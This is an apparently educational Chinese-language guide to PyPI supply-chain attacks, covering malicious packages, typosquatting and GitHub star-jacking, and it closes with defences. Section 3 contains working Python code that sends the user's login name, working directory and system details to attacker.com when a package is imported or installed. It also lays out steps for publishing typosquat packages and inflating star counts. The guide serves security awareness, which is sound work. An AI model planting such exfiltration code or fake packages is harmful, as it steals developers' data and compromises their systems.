供应链安全——pypi下的星标劫持和域名仿冒
字数 1644 2025-08-29 22:41:24
PyPI供应链安全攻防指南:星标劫持与域名仿冒技术详解
1. 软件供应链安全概述
1.1 定义与重要性
软件供应链安全指在软件开发、交付、维护全过程中防止恶意代码、漏洞或其他安全风险被引入最终产品的安全措施。其重要性体现在:
- 现代软件开发高度依赖第三方组件(如fastjson、Log4j等)
- 广泛使用的组件一旦出现漏洞,影响范围极大
- 攻击面从开发环节扩展到整个供应链
1.2 典型供应链攻击案例
-
Fastjson反序列化漏洞:
- 攻击方式:构造恶意JSON数据触发RCE
- 影响:阿里巴巴开源的高性能JSON库
-
Nacos未授权漏洞:
- 攻击方式:通过默认口令/未授权访问控制台
- 影响:阿里动态服务发现与配置管理平台
-
Log4j2远程代码执行:
- 攻击方式:恶意JNDI查询触发代码执行
- 影响:Apache流行的Java日志记录库
2. PyPI供应链安全基础
2.1 PyPI简介
PyPI(Python Package Index)是Python官方软件包仓库,特点包括:
- 类似Java的Maven Central或JS的npm
- 简化包共享和安装流程
- 开放特性带来供应链安全风险
2.2 关键文件解析
-
setup.py:
- 包的核心配置文件
pip install时自动执行其中代码- 主流劫持点:可通过setup.py执行恶意代码
-
init.py:
- 包的初始化文件
- 当依赖被import时自动执行
- 另一个常见劫持点
3. PyPI恶意包攻击技术
3.1 类型1:引入依赖时泄露信息
攻击原理:
- 在__init__.py中植入恶意代码
- 当用户import包时自动执行
实现步骤:
-
创建项目结构:
attack_package/ ├── attack_package/ │ ├── __init__.py ├── setup.py -
init.py内容:
import os, requests data = { "user": os.getlogin(), "cwd": os.path.abspath(".") } requests.post("http://attacker.com", json=data) -
setup.py配置:
from setuptools import setup setup( name="attack_package", version="0.1.0", packages=["attack_package"], install_requires=["requests"] )
攻击效果:
- 受害者import时自动发送系统信息到攻击者服务器
3.2 类型2:安装依赖时泄露信息
攻击原理:
- 恶意代码位于setup.py中
- 安装过程即触发信息泄露
实现步骤:
- setup.py示例:
import os, platform, requests def exfiltrate_data(): data = { "system": platform.system(), "user": os.getlogin() } try: requests.post("http://attacker.com", json=data) except: pass exfiltrate_data() setup( name="install_attack_package", version="0.1.0", packages=["install_attack_package"] )
攻击特点:
- 无需import,安装即触发
- 尝试多种通信方式确保成功率
3.3 类型3:域名仿冒(Typosquatting)
攻击原理:
- 利用用户拼写错误创建相似包名
- 如requests → reqeusts, requestss
实现方法:
-
常见仿冒技术:
- 伪造包名(reqeusts)
- 相似字符替换(аррle.com使用西里尔字母)
- URL中的@符号伪装
- 新型顶级域名仿冒
- 域名抢注(pyp1.com)
-
实战示例:
- 创建requestss包仿冒requests
- init.py植入恶意代码
- 诱导拼写错误的用户安装
3.4 类型4:星标劫持(Star Jacking)
攻击原理:
- 伪造GitHub项目星标数制造虚假流行度
- 克隆热门项目植入恶意代码
实现方法:
-
常见技术:
- 自动化脚本批量添加星标
- 克隆知名项目并植入后门
- 使用相似名称混淆视听
-
实战示例:
- 创建requests-utils仓库
- 使用小号刷星
- 发布带恶意代码的release
- 利用虚假流行度诱导安装
4. 防御措施
4.1 开发者防护建议
-
依赖验证:
- 仔细检查包名拼写
- 验证包来源和作者身份
- 优先选择官方认证包
-
环境隔离:
- 使用虚拟环境进行开发
- 限制生产环境网络出口
-
安全工具:
- 使用依赖扫描工具(如Safety)
- 实施软件物料清单(SBOM)
4.2 企业防护策略
-
供应链管控:
- 建立内部镜像源
- 实施依赖白名单机制
- 定期审计第三方组件
-
监控响应:
- 监控异常网络请求
- 建立应急响应流程
- 保持依赖项及时更新
5. 总结
PyPI供应链安全威胁呈现多样化趋势,从传统的漏洞利用发展到:
- 安装阶段劫持(setup.py)
- 运行阶段攻击(init.py)
- 社会工程学技巧(域名仿冒)
- 信誉系统滥用(星标劫持)
防御需要从技术和管理双维度构建多层防护体系,关键点在于提高开发团队安全意识,实施严格的依赖管理策略,并建立持续监控机制。